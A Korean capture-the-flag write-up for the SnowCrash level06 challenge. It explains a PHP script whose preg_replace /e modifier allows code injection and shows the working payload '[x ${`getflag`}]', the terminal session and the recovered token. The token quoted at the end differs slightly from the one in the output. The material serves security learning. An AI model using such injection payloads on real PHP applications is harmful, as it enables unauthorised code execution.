

# level06

☰ 태그	Php Shell
☼ 상태	완료

풀이과정

[겪었던 어려움](#)

[풀이과정](#)

[php, 정규표현식](#)

[정답](#)

출처

## 풀이과정

### 겪었던 어려움

\$표시 없이 getflag, system('getflag') 등 몇 가지를 계속 시도하다가 헤맸는데, 살짝 열받음

### 풀이과정

#### php, 정규표현식

```
#!/usr/bin/php
<?php
function y($m) {
    $m = preg_replace("/\./", " x ", $m);
    $m = preg_replace("/@/", " y", $m);
    return $m;
}

function x($y, $z) {
    $a = file_get_contents($y);
    $a = preg_replace("/(\[x (.*?)\])/e", "y(\"\\2\")", $a);
    $a = preg_replace("/\[/", "(", $a);
    $a = preg_replace("/\]/", ")", $a);
    return $a;
}

$r = x($argv[1], $argv[2]);
print $r;
?>
```

이 **PHP** 스크립트는 특정 패턴을 찾아 텍스트를 변환하는 스크립트입니다.  
구체적으로 설명하자면 다음과 같습니다:

```
function y($m)
```

: 이 함수는 인자로 받은 문자열 \$m에서 모든 마침표(.)를 " x "로,  
그리고 모든 @ 기호를 " y"로 변환합니다. 변환된 문자열을 반환합니다.

```
function x($y, $z):
```

 이 함수는 두 개의 인자를 받습니다.

첫 번째 인자 \$y는 파일 경로를 의미하고,

두 번째 인자 \$z는 이 스크립트에서는 사용되지 않습니다.

함수는 다음 단계를 거칩니다:

```
$a = file_get_contents($y);
```

 지정된 경로의 파일 내용을 문자열로 읽어 \$a에 저장합니다.

```
$a = preg_replace("/(\[x (.*)\])/e", "y(\"\\2\")", $a);
```

: \$a 문자열 내에서 [x ...] 패턴을 찾아 해당 부분을 y 함수에 전달하여 변환합니다.

주의할 점은 /e modifier가 **PHP 5.5.0** 이후로 deprecated되었으며

**PHP 7.0.0**부터는 삭제되었다는 점입니다.

이 modifier는 preg\_replace의 replacement 부분에서 **PHP** 코드를 실행하게 해주었으나,  
보안 취약점 때문에 삭제되었습니다.

대신 preg\_replace\_callback 함수를 사용하는 것이 좋습니다.

```
$a = preg_replace("/\[/", "(", $a);
```

 모든 [를 (로 변환합니다.

```
$a = preg_replace("/\]/", ")", $a);
```

 모든 ]를 )로 변환합니다.

변환된 문자열 \$a를 반환합니다.

```
$r = x($argv[1], $argv[2]);
```

: 커맨드 라인에서 스크립트를 실행할 때 전달된 첫 번째 인자와 두 번째 인자를 x 함수에 전달하고,  
결과를 \$r에 저장합니다.

```
print $r;
```

 최종적으로 변환된 문자열 \$r을 출력합니다.

이 스크립트의 주된 목적은 파일에서 특정 패턴을 찾아 그것을 다른 형태로 변환하는 것입니다.

예를 들어, 파일 내용에 [x something]이 있을 경우, something을 y 함수로 전달하여

.을 " x "로, @을 " y"로 변환한 후, [와 ]을 각각 (와 )로 바꿉니다.

이 스크립트는 특정 형식의 데이터를 다른 형식으로 변환하는 데 사용될 수 있습니다.

```
echo '[x ${`getflag`}]' > /tmp/<임시경로>
```

 명령어를 통해서 표준출력이 가능한 곳에 문자열을 담고 `./level06 /tmp/<임시경로>` 로 실행시키면 정답을 알 수 있습니다.

## 정답


```
level06@SnowCrash:~$ echo '[x ${`getflag`}]' > /tmp/qwer
level06@SnowCrash:~$ ./level06 /tmp/qwer
PHP Notice: Undefined variable: Check flag.Here is your token : wiok45aoguiboiki2tuin6ub
in /home/user/level06/level06.php(4) : regexp code on line 1
```

"wiok45aaoguiboiki2tuin6ub"

## 출처


### PHP: preg\_replace - Manual

Searches subject for matches to pattern and replaces them with replacement.

 <https://www.php.net/manual/en/function.preg-replace.php>

### PHP: file\_get\_contents - Manual

This function is similar to file(), except that file\_get\_contents() returns the file in a string, starting at the specified offset

 <https://www.php.net/manual/en/function.file-get-contents.php>

<https://m.blog.naver.com/jkt0620/220336442309>